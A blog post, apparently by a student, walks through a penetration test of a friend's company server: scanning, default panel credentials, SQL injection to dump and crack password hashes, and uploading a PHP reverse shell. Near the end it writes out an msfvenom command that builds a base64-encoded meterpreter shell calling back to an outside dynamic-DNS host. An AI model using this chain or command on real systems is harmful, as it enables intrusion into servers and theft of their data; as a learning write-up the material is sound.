Pentest Remote Server (Shell upload)

Hey guys!

This time I am going to show you a segment from a security assessment I did recently. It was mostly for practice and also to help out a friend’s company to increase his defense. For obvious reasons, the company’s name, IP addresses, etc. have all been left out purposefully. Although this wasn’t a commercial-grade pentest by professionals — remember, I’m still just a college student — I would like to think of myself as successful for pointing out flaws that could lead to full compromise.

Reconnaissance

The first thing to do, as always, is recon. Ideally you would want to spoof you mac and issue a stealth scan depending on the target, but once you have been granted access to test a machine it’s often easier to just go for the kill and perform a full scan with OS detection and all the good stuff (as root user, obviously).

Then of course, while waiting for Nmap to finish, also a good idea to go ahead and check online for whois information, find out the network’s range, internet service provider and on and on… if the company has a website, try to look for the “obscure pieces of information” which could be simple things like birth dates, employee names, etc.

Vulnerability Scanning

Now it’s time to look for some vulnerabilities. I will recommend Nessus for the task, although depending on the target operating system (which should be enumerated in the “Recon” phase) you might want to choose a different option.

This phase is going to decide which move to take next. If no vulnerabilities are found at all, then it’s time to take a different approach. If the target company is physically accessible, then local attacks might be possible. However in this case, my target company is in a completely different country and also in another language, making local attacks and social-engineering useless. Save of course email and phishing attempts — not my personal favorites anyway. 😛

Virtualization

An optional phase to tinker with is cloning the target machine’s operating system into a virtual machine on your computer. It’s important to make sure the system’s version match that of the target, as well as the web applications installed. This is why you want to build on a strong reconnaissance and vulnerability scanning.

Once you’ve done so, it’s easy to play around, analyze local configuration files on the VM, then check those locations on the target… or say if you happen to find a heap overflow vulnerability, you don’t want to “simply try” it on the target because there is the possibility of it being a production server. What happens if you crash it? People are going to notice that. You want to test your exploits to the fullest before taking on a remote target, especially if a production one.

Gaining Access

Using the vulnerabilities discovered earlier we will try to gain access to the server. The best candidates to start is the “Critical” or “High” risk vulnerabilities — if any were found. In my scan I found four high risk vulns, one of them being a denial of service (DoS, pretty useless) and the other being a heap overflow (not completely useless, but it can possibly crash the server, raising some flags really quick).

Aside from those, I also had access to default credentials for a “Call Monitor” panel which didn’t provide anything in terms of gaining access, but it did allow me to use the fourth vulnerability, a SQL Injection inside one of the panel’s PHP files. Using the injection, I pulled the users and passwords from the database and sent them over to my favorite md5 cracking website: md5decrypter.co.uk to receive the admin hash cracked with the legitimate password: “password”.

From there I crafted a meterpreter PHP shell using msfvenom, like so:

msfvenom -p php/meterpreter/reverse_tcp LHOST=dyndns.com LPORT=443 -e php/base64 -f raw > shell.php

This will generate the shell to the ‘shell.php’ file. Now with the admin password in hands, it’s simply a matter of upload the shell, starting the reverse listener in metasploit, updating the dynamic dns so it points to your listener, and firing up the shell inside the server and BAM! We have a shell. 🙂

Check out the video in high quality!

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s